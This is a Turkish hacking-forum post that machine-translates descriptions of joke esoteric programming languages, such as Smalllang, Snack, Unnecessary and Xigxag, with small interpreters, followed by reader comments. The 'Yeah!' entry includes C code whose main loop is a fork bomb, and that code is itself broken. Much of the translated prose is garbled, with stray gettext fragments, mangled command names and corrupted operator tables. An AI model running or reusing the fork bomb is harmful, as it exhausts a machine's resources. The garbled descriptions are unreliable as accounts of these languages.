Tek Dörtlü kod satırı, bir işlev çağrısı ve boşlukla sınırlandırılmış bir argümanlar listesinden oluşur. Tek Dört'teki işlevlerin hepsine bir sayı ve tüm değişkenlere de sayı başvurusu yapılmıştır. Ancak, kullanmanıza izin verilen tek sayı 4'tür (44, 444 vb. De izin verilir) ve işlev kimlikleri veya değişken kimlikleri bu kurala uymaz.

Bu, Single Four ile programlamayı hemen kullanabileceğiniz tek işlev 4 ve 44 olduğu için büyük bir zorluk haline getirir. msgstr "% s, kimliği ilk argümandan sonraki argümanla ilk argüman olan değişkende saklanır".

Single Four dilinde 21 tanımlı fonksiyon vardır. Harici kaynaklar bölümünde aşağıdaki işlevlerin listesine bağlantı vardır.

Tekli Dörtlü kod satırı örneği aşağıdaki gibidir. Aşağıdaki kod (işlev 4) 4'ü 4'e (ilk iki bağımsız değişken) böler ve bunu değişken 4'te (son bağımsız değişken) depolar:

4 4 4 4
Her Single Four programı, işlev 0 çağrıldığında sonlandırılmalıdır. Ancak, yalnızca 4 ve 44'ü kullanmanıza izin verilir. Bu, Single Legal programını yalnızca yasal yönergeleri kullanarak sonlandırmanızdır:

4 4 44 44 - Dördü kırk dörde bölün (tamsayı bölünmesinde sıfırdır) ve 44 değişkeninde saklayın
44 44 - Kimliği kırk dört değişkeninde olan fonksiyonu çağırın, bu durumda sıfır, bu yüzden programı sonlandırın


#Smalllang
## Açıklama
Smalllang, Kullanıcı tarafından icat edilen bir şaka ezoterik programlama dilidir: Kullanıcı: Hanzlu'nun kendisini mümkün olduğunca kullanılamaz hale getirmek için elinden gelenin en iyisini yapmaya çalıştığı için kullanılabilir bir dil tanımını doldurmak için yaratılmıştır.

"Bence bir programlama dili kullanılabilir bir dil olmak için dört temel parçaya ihtiyaç duyuyor. Bunları aşağıdaki önem sırasına göre sıralıyorum: 1. Değerleri değiştirme 2. Çıktı 3. Kontrol akışı 4. Hafızada hareket etme"

## Komutlar
Smalllang, sadece 2 ikili hücreye sahip bir kasete sahiptir. Bellekteki bir hücreyi artırmak için. talimat (1. değerleri değiştirme). Bir değeri artırırsanız, değeri azaltamazsınız; her zaman 1'dir ve artık değiştiremezsiniz. Sağa gitmek için> komutunu kullanın (4. hafızada hareket etmek). Sağa hareket ederseniz, sola geri hareket edemezsiniz ve bandın sağ ucuna ulaşırsanız, artık sağa hareket etmenize izin verilmez.

Smalllang ayrıca * (2. çıktı) olan bir çıktı komutuna sahiptir. Bu, biti konsola gönderir ve ardından bellekteki o biti siler. Smalllang ayrıca kontrol akışına sahiptir,? talimat (3. kontrol akışı). Bir while döngüsüdür (bir if ifadesi içerir) ve geçerli hücre sıfırdan farklıysa, programın başına geri döner. * Komutuna benzer şekilde, kod yürütmesini değiştirmeden önce geçerli hücreyi siler.

## Tercüman
### Python3
Kod: 
code = ""
l = len(code)
i = 0

memory = [0, 0]
ptr = 0

while i < l:
    c = code[i]
    
    if c == ".":
        try:
            memory[ptr] = 1
        except:
            break
        
    elif c == ">":
        ptr = 1
    
    elif c == "*":
        try:
            print(memory[ptr])
            memory.remove(memory[ptr])
        except:
            break
        
    elif c == "?":
        try:
            if memory[ptr]:
                i = -1
            memory.remove(memory[ptr])
        except:
            break

    i += 1


#Snack
## Açıklama
Snack birini yemek için yaratılmıştır. 2011 Kullanıcı tarafından oluşturuldu: SmallBug

## Komutlar
Komut neler
mezar set değeri 0
bir adam daha al (var'a bir tane ekle)
Bırak bir adam kaçsın.
slime senden korkuyorlar (bir mesaj göster ve değeri etkilemem)
ye onları ye (baskı var ve 0 olarak ayarla)
uyku mezara uyumak için yatıyordu (şaka çıktısı)

## Örnekler
Kod: 
grave
get
get
eat
sleep
Baskılar:
Kod: 
You have eaten as a snack right 2 people. Happy?
SLEEP? ARE YOU CRAZY? LETS GET UP FOR MIDNIGHT DINNER

## Tercüman
### C++
Kod: 
#include <iostream>
 using namespace std;
 int main (int argc, char * const argv[]) {
     
	string command;
	int stack;


	while (true) {
		cin >> command;
		
		if (command=="grave") {
			stack = 0;
		} else if (command=="get") {
			stack++;
		} else if (command=="let") {
			stack--;
		} else if (command=="slime") {
			cout << "Your victims look crazy and awful. They are afraid of you" << endl;
			
		} else if (command=="eat") {
			cout << "You have eaten as a snack right " << stack << " people. Happy?" << endl;
			stack = 0;
			
		} else if (command=="sleep") {
			cout << "SLEEP? ARE YOU CRAZY? LETS GET UP FOR MIDNIGHT DINNER" << endl;
			
		}


	}
    return 0;
}


#String rewriting paradigm
## Açıklama
Dize yeniden yazma paradigması, Kullanıcı: A tarafından icat edilen bir programlama dilidir.

## Komutlar
d: sonraki karakteri çoğaltır.
Örnek: d *, ** ile sonuçlanır.

!: geçerli satırdaki son karakteri iter

@: yığının üstünü satırın sonuna getirir.

:: Her karakteri iki nokta üst üste işaretinden önce çıktılar.

## Örnekler
Sonsuz döngü
Kod: 
dd

Döngü sayacı
Kod: 
!@:


#Subtle cough
## Açıklama
Hafif öksürük, Kullanıcı: ihope127 tarafından tek işlevli ilkel olarak c ile Unlambda olarak tanımlanabilen ezoterik bir programlama dilidir. Yani, İnce öksürük programları kümesi sadece `ve c karakterlerini kullanan Unlambda programları kümesidir ve Hafif öksürük programları bu Unlambda programlarıyla aynı şeyi yapar.

Sadece üç eşdeğer olmayan ifade (ve dolayısıyla programlar) vardır:

c
Unlambda ilkel.
`cc
Bunu herhangi bir süreklilikte değerlendirmek, o sürekliliği kendine geri döndürür. Ccc ve ccc ifadelerinin ikisi de aynı etkiye sahiptir.
`` Cc`cc
Asla bitmez. Bunu içeren herhangi bir ifade de yoktur.
Sonuç olarak `temelde basit bir üçlü mantık operatörü görevi görür:

`C 'cc` cc`cc
c 'cc' cc `cc`cc
`Cc 'cc` `` `cc`cc cc`cc
`` `` Cc`cc cc`cc `` `` cc`cc cc`cc
Bu dil açıkça programlama için kullanılacak çok az hesaplama gücüne sahiptir.


## Operatör tablosunun hesaplanması
İfadeleri Unlambda **** gösterimini kullanarak değerlendireceğiz.
Kod: 
`cc = `c(*) = `(*)(*) = (*).
`c`cc = `c(`c*)   (from above)
  = `(`c*)(*) = `c(*) = `(*)(*) = (*).
``ccc = `(`*c)c = `cc = (*).
``cc`cc = `(`*`cc)`cc = `(`*`cc)(`(`*`cc)*) = `(`(`*`cc)*)`cc
  = `(`*`cc)`cc   (circular, because (`(`*`cc)*) = (`*`cc)).
`c``cc`cc evaluates the ``cc`cc.
``cc``cc`cc = `(`*``cc`cc)``cc`cc, at which point ``cc`cc is evaluated.
```cc`cc``cc`cc evaluates the first ``cc`cc.


#Tautology
## Açıklama
Tautology is a programming language in which all of the programs and input evaluate to true. It is not Turing complete.

## Tercüman
### C++
Kod: 
 #include <iostream>
 using namespace std;
 int main()
   {char x[65535];
   while(1){cout << "> ";cin >> x;cout << "True\n";} //Takes an input and outputs true
   return 0;}


#Ummm...
## Açıklama
Ummm ... Kullanıcı: Areallycoolusername tarafından yapılan bir programlama dilidir. Bu, iyi bir kod yürütmeye başlayan, ancak sonra ne yaptığını unutmaya başlayan bir dildir. Bu sorunu aşmak için 1 karakter yazdırmak istediğinizde, derleyici karakteri tamamen unutacaktır.

## Komutlar
Komut İşlev
S Kodu etkinleştiren ancak kod belleğini azaltan anahtar
P Dizeleri, tam sayıları ve kayan noktaları yazdırın.
Kod, hücrelerde harf olarak saklanır. Her harf bir sayıyı temsil eder: A = 1 ve B = 2. "I" veya 9'un ötesindeki herhangi bir değer, toplamı atlanan değere eşit olan ayrı ayrı hücrelerde iki harf olarak saklanır. Burası S komutunun devreye girdiği yerdir. S belleği etkinleştirir, ancak bunu yaparak belleği büyük ölçüde azaltır. Bir dizeyi yazdırmak için P komutunu kullandığınızda, dizenin tek tek harfleri bellekte depolanır. Herhangi bir tür yazdırırken, bellekte de harf olarak saklanır. Hangi kodu girerseniz, metninizin ilk kısmı ve ardından "ummm ..." gelir.

## Örnekler
İşte Ummm'de bir merhaba dünya programı ....
Kod: 
S
P "Hello, world!"

Bunun çıktısı:
Kod: 
Hello, ummm...

Bu sorunu önlemek için, yazdırma için gerekli olan metni kopyalayıp yapıştırın:
Kod: 
S
P "Hello, world!Hello, world!"

Bunun çıktısının bir yan etkisi vardır:
Kod: 
Hello, world!ummm...


#Undefined
## Açıklama
Tanımsız, içindeki her programın tanımlanmamış davranışa neden olduğu bir programlama dilidir. Ekstra komut satırı argümanları ve kaynak dosya eksikliği de tanımsız davranışları tetikler.

## Turing tamlık
Standart uyumlu Tanımsız bir program (tanımlanmamış herhangi bir davranışı tetiklemez) hem evrensel bir Turing makinesini simüle edebilir hem de evrensel Turing makinesini simüle edemez ve Turing makinesinin yapamayacağı bir şey de yapabilir. Ancak dilin kendisi Turing-complete değildir, çünkü bu tür programların sıfırına sahiptir.

Pratik olarak, bu dilin Turing-bütünlüğü uygulamaya bağlıdır. Bazı tanımlanmamış talimatlar, bazı tercümanlarda sürekli olarak bir tür kontrol akışı oluşturabilir.

## Tercüman
Bilgisayarınızdaki her program Tanımsız'ın bir tercümanıdır. Ve hepsi böceksizdir (resmi olarak bu dilin lehçelerinin tercümanı olmadıkları veya hata ayıklama gibi ekstra özelliklere sahip olmadıkları sürece). Bu, yeterince karmaşık olan her programın her zaman hatalara sahip olduğu mitini çürütebilir.


#Unnecessary
## Açıklama
Gereksiz, 2005'ten itibaren Keymaker tarafından bir program dosyasının varlığının bir hata olarak kabul edildiği bir programlama dilidir. Geçerli Gereksiz program dosya uzantısı 'unn'. Ancak, program dosyası yoksa, yorumlayıcı veya derleyici normal şekilde çalışabilir ve bir nop gerçekleştirebilir.

Dil öğrenmesi ve uygulaması kolay olacak şekilde tasarlanmıştır. Dili programlamayı çok basit hale getirmek de tasarımın bir parçasıydı.

Tüm Gereksiz programlarınızı saklamak biraz daha az yer kaplar ve programları dağıtmak hızlı ve kolaydır.

Gereksiz bir tercüman, program dosyasının mevcut olup olmadığını kontrol etmeli ve ardından aşağıdakileri yapmalıdır:

Dosya yoksa, NOP'u çalıştırın ve program yürütmesini başarıyla sonlandırın.
Dosya varsa, bir hata bildirin ve hemen sonlandırın.
Bir derleyici derlediği dili sadece nop yapmak ve başka bir şey yapmak için yapmamalıdır; ancak doğal olarak yalnızca Gereksiz program dosyası bulunamazsa.

Her çalışma programı null program ve bir quine'dir.

## Örnekler
Gereksiz tercümanınızla 'example.unn' dosyasını çalıştırın. (Not: Önce 'example.unn' adlı bir dosya olmadığından emin olun. Varsa, yürütmeden önce kaldırın (veya farklı bir dizine geçin).)

## Tercüman
UNIX sistemi kullanıyorsanız ve Gereksiz bir tercümana sahip değilseniz, UNIX sistemleri benzer bir programa sahiptir - komut testini kullanın! -e etkinleştirmek için (ardından dosya adı). Ancak, dosya varsa, bir hata bildirmek yerine sessizce başarısız olur, bu yüzden mükemmel değildir, ancak hata mesajlarını önemsememeniz durumunda yeterince yakındır.

Hataları seviyorsanız, bu biraz daha karmaşık komutu kullanabilirsiniz: test! -e örnek.unn || echo "Hata: Dosya var" (dosyanızın yerine example.unn yazın).


#Unusable
## Açıklama
Kullanılamaz Kullanıcı: TehZ tarafından oluşturulan bir dildir. İçindeki her program şu metni içeren bir İngilizce programıdır: "Bu program hiçbir şekilde çalıştırılamaz." başardı.


#Useless
## Açıklama
Yararsız bir programlama dili (dünyayı tehlikeye atmak istemiyorsanız).

## Komutlar
FAIL - Eski
*NOT - Cesareti kırılmış
*ASLA - Yasadışı
*IDK - Tanımsız
*BOOM! - Yürütme birimi için tehlikeli
*KABOOM! - Dünya için tehlikeli
*HAYIR. - Durur
*QWAOZAPWQFUOA - Anlamak imkansız
*WUT? - Platforma bağlı
*NEREDE? - yok
*DONTUSEME (n) - Onaylanmadı, 24 saat içinde DONTUSEME (n + 1) ile değiştirilecek (bu gönderiye göre (00:09, 12 Nisan 2011, GMT + 1)) - Not: n 0 ile başlar, sonra 1, ve benzeri - kapatılamaz n boş pencere açacak
*NASIL? - Yürütülmesi imkansız
*ILLEGAL - Yeterli hak yok
*GODEXISTS - Programın çılgın olduğunu kanıtlıyor
*WINDOWS - Programı emer ve popüler yapar - İSTEĞE BAĞLI
*NOOP - Hiçbir şey yapmaz
*INCLUDE-xxx - Rastgele bir komutla aynı etkiye sahip olan xxx adında ("xxx" adı değil, orada yazılanla aynı ada sahip bir şey) bir komut ekler
*TURINGVSALONZO - Rastgele geçerli, girişsiz bir BF programı oluşturun, çalıştırın ve çıktıyı bir UTM olarak yorumlayın, çalıştırın ve çıktıyı lambda hesap programı olarak yorumlayın, çalıştırın ve sonucu atın


#X:
## Açıklama
X: Kullanıcı: A tarafından oluşturulan 123'ü daha da azaltan ezoterik bir programlama dilidir.

## Komutlar
İşaretçi 0 konumunda başlar. Program bir döngü içinde yürütülür ve yalnızca programın sonuna ulaşıldığında sona erer. Tüm bitler 0 değerinden başlar.

Talimat Açıklama
X Giriş 0 ise sola hareket ettirin. Giriş 1 ise sağa hareket edin.
3 Bir atlama sembolü belirtir. İşaretçi 0'ın altındaysa hiçbir şey yapmayın. Geçerli bit 1 ise, önceki atlama sembolüne veya programın başlangıcına atlayın. Geçerli bit 0 ise, bir sonraki atlama sembolüne veya programın sonuna atlayın.


#Xigxag
## Açıklama
Xigxag, 2001 yılında Chris Pressey tarafından tasarlanan ancak 2007'ye kadar piyasaya sürülmeyen basit bir dize kopyalama otomatıdır.

## İnfaz
Xigxag yapılandırması, <ve> sembollerinden oluşan sınırlı bir dizedir. Her geçişte, dizedeki her sembol kontrol edilir; sembol <ise, bu sembolün solundaki her şey bir sonraki yapılandırmaya kopyalanır ve sembol> ise, bu sembolün sağındaki her şey bir sonraki yapılandırmaya kopyalanır. Alt dizeler soldan sağa bir sonraki yapılandırmaya kopyalanır.

Otomatın tanımı ve onu uygulayan bir Perl betiğinin yayınlanmasıyla birlikte, Chris Pressey, Xigxag'ın sınırlı sayıda başlangıç ​​konfigürasyonu dışında herkes için üstel büyüme gösterdiğine dair bir kanıt verdi.

Xigxag o kadar basit olsa da, Turing-complete olması pek olası değildir, ancak olmadığını gösteren bir kanıt oluşturmak da zordur.

Periyodik desenler
Aşağıdakiler, 7 veya daha kısa uzunluktaki tüm dizeleri arayarak bulunan tek periyodik kalıplardır. Chris Pressey, daha uzun iplerin katlanarak büyüdüğünü kanıtladı. Periyodik desenler, sonunda ilkine geri dönen konfigürasyonlardır (aşağıdaki tüm durumlarda hemen).

boş dize
<<<
>>>
<> <>
<<< >>>


#Yeah!
## Açıklama
Evet! temel ezoterik bir programlama dilidir. Kullanıcı tarafından oluşturulur: A. Sadece çatal bombaları uygulayabilir ve değişkenleri orijinal değeri olarak başlatabilirsiniz.

## Komutlar
Bu zayıf tip ezoterik bir programlama dilidir. Değişkenler bildirilmeden kullanılabilir.

Evet! Ölürsün! Çatal bomba uygulayın. programı sonlandırmak.
Evet! Öldün mü? "Ölüyorsunuz" değişkenini orijinal değeri olarak ayarlayın.

## Tercüman
### C
Kod: 
#include <stdio.h>
int main()
{
    char input[999];
    while(!strcmp(scanf("%s",&input),"Yeah! You die!"));
    while(1)
        fork();
    return 0;
}
 
drkasmot

drkasmot

Üye
17 Tem 2016
137
27
Üstadım okumam için çok uzun olduğunu düşündüm ama bu yazıyı cidden sen yazdıysan banada okumadığım halde tebrik etmek düşer
Helal

Şimdi bi okuma kararı aldım hocam ama yarıda tekrardan bıraktım dikkati dağıtacak kadar sıkıyor kusura bakmayın :))
 
Moderatör tarafında düzenlendi:
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.